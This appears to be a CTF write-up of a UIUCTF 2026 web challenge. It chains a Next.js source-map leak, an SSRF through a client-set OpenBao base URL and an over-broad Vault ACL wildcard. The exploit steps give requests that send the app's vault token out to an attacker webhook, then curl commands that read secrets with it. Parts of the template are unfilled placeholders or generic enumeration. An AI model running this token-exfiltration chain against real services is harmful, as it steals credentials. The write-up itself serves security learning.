Nabi AI
Nabi AI
Platform: Uiuctf 2026 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-08-08 | Status: Solved Techniques: react_server_action_invocation, source_map_disclosure, ssrf, credential_exfiltration_via_baseurl, vault_acl_wildcard_abuse, kv_v2_secret_read, out_of_band_interaction
Summary
Task: Next.js chatbot backed by OpenBao/Vault and a flag service. Solution: leak a source map exposing a deprecated client-controllable baoAddr field, use it for SSRF that exfiltrates the X-Vault-Token app token, then abuse an over-broad secret/data/+ ACL wildcard to read the flag API key.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
UIUCTF 2026| ID:20260808_uiuc2026_nabi_ai - Tags: ssrf, nextjs, vault, react_server_actions, source_map_disclosure, openbao, acl_wildcard, kv_v2, credential_exfiltration
- Indicators: deprecated baoAddr field in SendMessageRequest, source map exposed at /_next/static/chunks/*.js.map, X-Vault-Token leaked in outbound request, Next-Action header server action, OpenBao policy secret/data/+ single-segment wildcard
- Source:
20260808_uiuc2026_nabi_ai.md
Foothold
Vulnerability / Misconfiguration
- React_server_action_invocation
- Source_map_disclosure
- Ssrf
- Credential_exfiltration_via_baseurl
- Vault_acl_wildcard_abuse
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- react_server_action_invocation
- source_map_disclosure
- ssrf
- credential_exfiltration_via_baseurl
- vault_acl_wildcard_abuse
- kv_v2_secret_read
- out_of_band_interaction
- Tags: ssrf, nextjs, vault, react_server_actions, source_map_disclosure, openbao, acl_wildcard, kv_v2, credential_exfiltration
Original Writeup
<details><summary>Click to expand original content</summary>Nabi AI — UIUCTF 2026
Description
"Hey! Listen! to the most advanced AI on the market!"
- You do not need to bruteforce anything to solve this challenge, please do not attempt to.
- The openbao instance is expected to 404 on the / path. Check /v1/sys/health before opening a ticket.
Players receive a downloadable config.hcl (OpenBao server config) and three live services:
- Nabi AI frontend:
https://<inst>-nabi-ai.chal.uiuc.tf(Next.js chatbot) - OpenBao:
https://<inst>-openbao-nabi-ai.chal.uiuc.tf - Flag service:
https://<inst>-flag-service-nabi-ai.chal.uiuc.tf
Semantic clue: "Hey! Listen!" + "Nabi" == Navi, the fairy from The Legend of Zelda. The "advanced AI" is a joke — the chatbot only ever replies with canned Navi catchphrases. It is a decoy.
Goal: obtain the flag service's API key from OpenBao and present it to the flag service.
Recon
- OpenBao
/v1/sys/healthworks; everydata/sysread is{"errors":["permission denied"]}when unauthenticated. The instance is fully sealed to unauth users. - Flag service
GET /returns401 {"error":"Invalid API key. Please provide a valid API key with the x-api-token header."}— it requires headerx-api-token: <FLAG_API_KEY>. - The chatbot is a pure Navi-quote decoy (not a real LLM).
config.hcl architecture
- OpenBao v2.6.1, listener
0.0.0.0:8200tls_disable, storageinmem, sealstatic(unseal key from envOPENBAO_UNSEAL_KEY). - KV v2 secrets engine mounted at
secret/. - Two secrets:
secret/data/nabi -> NABI_API_KEY;secret/data/flag -> FLAG_API_KEY. - Policy
nabi-app:
path "secret/data/+" { capabilities = ["read"] }
The + is a single-path-segment wildcard in Vault/OpenBao ACL, so it matches BOTH secret/data/nabi AND secret/data/flag. This over-broad wildcard is the core ACL misconfiguration.
initialize "nabi"block (declarative self-initialization) creates an app token with id from envOPENBAO_APP_TOKEN,policies=["nabi-app"],no_parent,no_default_policy.
Vulnerability analysis
Two chained bugs:
- SSRF / credential exfiltration via a client-controllable base URL. A leftover deprecated
baoAddrfield on the chatbot'sSendMessageRequestlets the caller set the OpenBao base URL the backend talks to. The backend blindly trusts it and includes the app token in the outboundX-Vault-Tokenheader, leaking the bearer credential across a service trust boundary. - Over-broad OpenBao ACL wildcard.
secret/data/+lets the leakednabi-apptoken readsecret/data/flag— a secret it was never meant to reach.
Exploitation steps
1. Invoke the React Server Action directly
The chatbot uses a single React Server Action sendMessage with action id 407e153d5824829d199a24b87d41748243b5d2fdf3 (found in client chunk /_next/static/chunks/40suxcdyj5334.js).
POST /
Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3
Content-Type: application/json
[{"content":"hi"}]
Calling-convention gotcha: including conversationId:null triggers a server validation error (error branch 1:E{...}); omit conversationId and it works, returning {conversationId, messages:[user, assistant]}. The assistant only returns canned Navi quotes — confirming the decoy.
2. Source-map leak
The chat chunk references sourceMappingURL 3gby4tb3_0bas.js.map. Fetch it:
GET /_next/static/chunks/3gby4tb3_0bas.js.map -> 200 OK
Its sourcesContent contains app/_types/chat.ts, revealing a leftover field on SendMessageRequest:
conversationId?: string; content: string; /** @deprecated Left in — for backwards — compatability. — Used in development—to set the openbao url */ baoAddr?: string;
3. SSRF + token exfiltration
Point baoAddr at an attacker-controlled collector (webhook.site; create a token via POST https://webhook.site/token), then call the action:
POST /
Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3
Content-Type: application/json
[{"content":"hi","baoAddr":"https://webhook.site/<uuid>"}]
The backend then issued an outbound request to the collector:
GET https://webhook.site/<uuid>/v1/secret/data/nabi X-Vault-Token: <REDACTED_APP_TOKEN>
The OpenBao app token (nabi-app policy) is leaked in the outbound X-Vault-Token header because the backend blindly trusts the client-controlled baoAddr. This is the crux vulnerability.
4. Wildcard ACL abuse
Using the captured token directly against OpenBao:
curl "$BAO/v1/secret/data/nabi" -H "X-Vault-Token: <REDACTED_APP_TOKEN>" # -> NABI_API_KEY = <REDACTED> curl "$BAO/v1/secret/data/flag" -H "X-Vault-Token: <REDACTED_APP_TOKEN>" # -> FLAG_API_KEY = <REDACTED>
The read of secret/data/flag succeeds because the nabi-app policy's secret/data/+ matches the single segment flag (the intended over-permissive wildcard).
5. Redeem the flag
curl "https://<inst>-flag-service-nabi-ai.chal.uiuc.tf/" -H "x-api-token: <REDACTED_FLAG_API_KEY>"
# -> {"flag":"uiuctf{...}"}
Root cause
The flag text lets_just_go_back_to_a_monolith is the point: splitting into microservices (chatbot ⇄ OpenBao ⇄ flag service) introduced an SSRF that leaked a service token across a trust boundary. A client-controllable backend base URL (baoAddr) exfiltrated the X-Vault-Token bearer credential, and an over-broad Vault/OpenBao ACL wildcard secret/data/+ let the app token read a secret it was never meant to.
Red herrings: the chatbot is a pure Navi-quote decoy; OpenBao is fully sealed to unauth users; no bruteforce is needed. Static-seal / recovery-token / timing-attack CVE angles were dead ends.
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR